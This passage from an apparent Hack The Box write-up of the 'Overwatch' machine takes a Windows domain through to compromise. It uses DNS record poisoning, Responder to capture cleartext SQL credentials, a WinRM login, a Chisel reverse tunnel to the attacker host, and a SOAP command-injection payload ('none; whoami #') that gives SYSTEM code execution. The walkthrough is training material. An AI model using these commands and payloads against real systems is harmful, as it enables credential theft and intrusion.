Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

No entries found!
mairon $ GetNPUsers.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

No entries found!

I then went back to the SQL07 link we couldn’t use, and decided to try and update the record myself, to point back to me:

mairon $ /usr/share/krbrelayx/dnstool.py -u overwatch.htb\\sqlsvc -p
 TI0LKcfHzZw1Vv -r SQL07.overwatch.htb -a add -d 10.10.14.74 10.129.9.233
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Then I launched responder, and tried to use use the linked server again:

SQL (OVERWATCH\sqlsvc  guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.

Sure, we get an error, but responder echoed back the credentials the server uses:

mairon $ sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[*] Tips jar:
    USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
    BTC  -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]
    DHCPv6                     [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.74]
    Responder IPv6             [dead:beef:2::1048]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-VJ8RBJHSXZ7]
    Responder Domain Name      [MRBA.LOCAL]
    Responder DCE-RPC Port     [48332]

[*] Version: Responder 3.2.0.0
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>

[+] Listening for events...

[!] Error starting TCP server on port 3389, check permissions or other servers running.
[MSSQL] Cleartext Client   : 10.129.9.233
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

Fantastic, this gets us the User Flag:

mairon $ ewp -i overwatch.htb -u sqlmgmt -p bIhBbzMMnB82yx
          _ _            _
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to 'overwatch.htb:5985' as 'sqlmgmt'
evil-winrm-py PS C:\Users\sqlmgmt\Documents> dir ..\Desktop


    Directory: C:\Users\sqlmgmt\Desktop


Mode                 LastWriteTime         Length Name                                     
----                 -------------         ------ ----                                     
-ar---         1/31/2026   4:39 AM             34 user.txt                                 


evil-winrm-py PS C:\Users\sqlmgmt\Documents> type ..\Desktop\user.txt
fbc9e10e64956b16b52b317e992862b0

From here, recall we found that back-end service we couldn’t yet access. It’s clearly there, but must’ve been firewalled:

evil-winrm-py PS C:\Users\sqlmgmt\Documents> netstat -ano | findstr 8000
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    [::]:8000              [::]:0                 LISTENING       4

We can use Chisel to expose it via a tunnel port forward:

evil-winrm-py PS C:\Users\sqlmgmt\Documents> upload ~/htb/tools/chisel.exe .
Uploading /home/mairon/htb/tools/chisel.exe: 10.1MB [00:08, 1.30MB/s]
[+] File uploaded successfully as: C:\Users\sqlmgmt\Documents\chisel.exe
evil-winrm-py PS C:\Users\sqlmgmt\Documents> .\chisel.exe client 10.10.14.74:9002 R:8000:localhost:8000

And start our Chisel server:

mairon $ sudo chisel server --reverse --port 9002

From here we can access the back-end via localhost:8000 instead. It does however require the Host header to be set to overwatch.htb, though. We could change our /etc/hosts again, or make sure to set this header manually for each request we make to the back-end.

Let’s try to abuse that KillService end-point, by crafting our own malicious SOAP request.

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:KillProcess>
         <tem:processName>none; whoami #</tem:processName>
      </tem:KillProcess>
   </soapenv:Body>
</soapenv:Envelope>
ℹ️
SoapUI makes this easier by loading the WSDL end-point

The above cuts off the Stop-Process function via ;, after which it tries to call a new command whoami. It then cuts off the remaining -Force by appending a # (start comment) after our whoami call.

We now have RCE as NT AUTHORITY\SYSTEM:

mairon $ cat payload.xml | curl -H "Host: overwatch.htb" http://127.0.0.1:8000/MonitorService -H "Content-Type: text/xml; charset=utf-8" -H "SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" --data-binary @- -s | xq -x
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <KillProcessResponse xmlns="http://tempuri.org/">
      <KillProcessResult>nt authority\system</KillProcessResult>
    </KillProcessResponse>
  </s:Body>
</s:Envelope>

Replacing our processName payload with none; type c:\users\administrator\desktop\root.txt # get us the Root Flag:

mairon $ cat payload.xml | curl -H "Host: overwatch.htb" http://127.0.0.1:8000/MonitorService -H "Content-Type: text/xml; charset=utf-8" -H "SOAPAction: http://tempuri.org/IMonitoringService/KillProcess" --data-binary @- -s | xq -x
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <KillProcessResponse xmlns="http://tempuri.org/">
      <KillProcessResult>3e2ee847a339478d348021a9153860d1</KillProcessResult>
    </KillProcessResponse>
  </s:Body>
</s:Envelope>
pwned